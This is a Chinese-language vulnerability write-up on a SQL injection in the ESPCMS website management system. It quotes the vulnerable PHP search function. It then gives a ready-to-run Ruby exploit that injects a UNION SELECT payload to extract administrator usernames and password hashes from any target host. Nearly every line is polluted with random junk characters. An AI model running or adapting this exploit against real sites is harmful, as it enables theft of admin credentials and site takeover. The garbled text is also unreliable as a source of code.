0×0 漏洞概述0×1 漏洞细节2 J/ i8 q" c+ t& u
0×2 PoC
$ b. X2 m) {9 j) f6 Q6 c1 [0 W( L8 e9 @/ i- R
e4 F$ [% I9 z1 g
, q$ E3 ]; J* k; n7 x6 S) A4 U0×0 漏洞概述
) i- m( w4 D, G( N$ J/ l( K/ u, ?( p0 ~' @3 S
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。; P% s! W7 Y; I9 p( G1 x
其在处理传入的参数时考虑不严谨导致SQL注入发生( g& O% {3 F" [ @' G0 ]5 H
- t1 _. v7 E5 B- K; x2 B' F
* q2 z6 G& K4 T, M/ X) G! i6 B) P0×1 漏洞细节4 {. j- r* o6 \) [" f
# Q6 j: P+ B2 Q* _+ e1 v* Z) y& n
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
2 Y' {3 E& }- l, a正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
( o k: U. _- C; @/ W2 K1 M* M$ e; X而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。+ f/ g2 g% r6 z- T
) }1 e% u2 \' K/ E! x5 v在/interface/3gwap_search.php文件的in_result函数中:2 A, y- |0 h3 e, L4 K) D; a( R2 I; y
6 A" Y+ d4 n9 j
, N) J; E7 g8 C y- E5 X
+ S# y$ G5 e: v8 O! p! ] function in_result() {
! J, \; @" P! J: f% D0 A: F ... ... ... ... ... ... ... ... ...9 u! v1 u/ ]3 ]% D3 ^. V/ N
$urlcode = $_SERVER[ 'QUERY_STRING '];
8 n& {+ w$ [/ K& n& C9 F2 k parse_str(html_entity_decode($urlcode), $output);
) c% K2 D* c+ z' G* I' ^3 Q# J3 u$ y. _) }. f, V
... ... ... ... ... ... ... ... ...4 F) C) Y a' z& }' N3 \
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
6 t8 i, B: X1 s2 B
1 H% W5 z6 ]/ e% _ $db_table = db_prefix . 'model_att';
5 g, | x/ ^7 q& j2 ^' y/ x4 s/ m7 A0 G: |( [0 }% n% J
foreach ($output['attr' ] as $key => $value) {; {1 J- |# }% x) {$ V$ X- h
if ($value) {6 n+ r# L: B' a1 E9 n: X2 s# w
, o' e; \2 ?/ \ $key = addslashes($key);4 Y% S: k; k+ T i/ H
$key = $this-> fun->inputcodetrim($key);
5 n# w6 u0 D; D; H8 F% b# o' H b $db_att_where = " WHERE isclass=1 AND attrname='$key'";
( T/ E, o2 c; r' @( M4 X k! C $countnum = $this->db_numrows($db_table, $db_att_where);6 {( S( v9 H5 h2 a
if ($countnum > 0) {9 t" h& }- @! h: v c7 \
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
5 m' U# S4 G5 V4 C+ T' k# H }; k8 r5 B _' P* W0 v$ b
}0 Y6 ~$ C3 }1 B% C1 R( _
}. c: z& t) {& m7 ]- C+ i4 P- @
}
6 X% O5 |/ z' W0 |( u if (!empty ($keyword) && empty($keyname)) {
( ]7 G0 \* s1 U. m $keyname = 'title';
) W( Q/ b! f- H $db_where.= " AND a.title like '%$keyword%'" ;
. P' |8 ^% r5 q& P4 ] } elseif (!empty ($keyword) && !empty($keyname)) {
1 q- j! F/ Q4 W1 O' I $db_where.= " AND $keyname like '% $keyword%'";0 J( [ r0 a V0 @) u
}0 }, J2 V) e7 o4 x2 F" V& g
$pagemax = 15;
- y) G+ ~% o& r. G+ C$ k
! g1 @. N; X" `; I $pagesylte = 1;
, h8 H+ R8 E8 B& w$ u
3 H% O! b$ \# C if ($countnum > 0) {
m5 P6 O \5 w9 \4 W' P4 G6 }: N8 j2 s% \9 f0 x( _
$numpage = ceil($countnum / $pagemax); u) W4 o6 {% M* d) V* F* [4 B; B
} else {
. w! S8 F/ p& o $numpage = 1;1 N8 C# E4 M+ n/ b- T% Y% u }
}
; F$ t0 r( E5 D& j6 Y3 w $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$ j& v' B; H7 ]7 { $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
9 }3 n' a) A. H; D$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);5 Q# F& V9 |( D: w& h$ t
... ... ... ... ... ... ... ... ...
" Q; ?8 r/ D7 p$ T } g, b5 f, r/ F! x
/ \+ u- U7 A$ o7 i& Z) p: J# Q O9 e
5 o9 u! t) r% I, B2 v! w! ^
0×2 PoC
/ c a/ K& F) E( A$ p8 ?3 g- o0 x1 \
( j( }1 Q$ R' q
0 P9 j f f; o: erequire "net/http"
! S! g4 l6 b5 s" {7 J F
( ?- a2 w7 W+ C# \& ]1 vdef request(method, url)% V1 ]8 m9 s0 H& O, l2 A: }
if method.eql?("get")
1 j: H- t& R% b uri = URI.parse(url)
/ ^) a& S. J4 K) N% x http = Net::HTTP.new(uri.host, uri.port)
1 H5 H/ R7 C1 n# ]4 _ response = http.request(Net::HTTP::Get.new(uri.request_uri))
4 v2 A0 y0 S& Y9 W* B( E0 x return response
( M( i8 Y, r% _/ e( ^ end. }$ S2 L2 {1 N% u& q
end) Y* N$ D+ H9 O8 U2 P, `3 n' F) j
_8 V P. J5 F* w! e' A" G; g
doc =<<HERE) E! S; N( _8 I1 z: L1 K
-------------------------------------------------------4 h' w: _; V e
Espcms Injection Exploit
/ I5 i2 {) Q& E+ J5 M+ xAuthor:ztz3 W& O2 W0 s7 q; C4 b3 W4 n2 F; `
Blog:http://ztz.fuzzexp.org/
# b( N% h: _5 B) ]& f-------------------------------------------------------& @' x" w- W$ e8 S1 j8 o5 D
* V: H! H% v4 [% x# E: @8 M+ b' u
HERE
8 J' ]( G$ n: X5 J1 {9 }
6 J' W0 |. L8 w5 g$ q A4 dusage =<<HERE; c' w& q! U* z8 s# C
Usage: ruby #{$0} host port path$ \9 M3 Z3 q- z" \ q7 p
example: ruby #{$0} www.target.com 80 /( T5 a0 ]( d& y. r4 x' h" A% C" R; ?
HERE
" v' h3 [3 W8 i' w( z+ w" Q1 u5 J. K) f) A+ a- ^7 S
puts doc
7 w# F1 o Q+ d% C5 S& sif ARGV.length < 3
+ q0 \; l. Q9 G! i5 k) I3 r9 l puts usage
8 l P1 I4 k$ i0 P/ J% }( felse
; K& ~. u0 R# ^2 o! W( c4 _' |" g $host = ARGV[0]: P# m& r. G' A
$port = ARGV[1]: P5 Q4 {: C4 H) _$ s1 @; y. l* F
$path = ARGV[2]% ]6 [! E; U4 ~5 w6 o6 G q* \
; j2 S$ M" T1 e# V puts "send request..."% Y3 Q2 S( k: r4 Q$ H K6 C( `$ O: V
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
% m) O. [7 v" x: hattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,139 x1 T1 D V9 B& C, w9 G
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27 l" p- K0 S5 \. d2 K# m
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"* ^" c! j* p8 o8 m6 M& G
response = request("get", url)
8 ?3 g5 Z8 s1 ^) }. r2 U result = response.body.scan(/\w+&\w{32}/)
M$ [7 o6 |5 K! A puts result$ O4 y7 B2 t$ x% A \5 i- r
end: q6 A' k; R$ c, Q# U; x
, H( K1 E9 g$ V9 f/ l |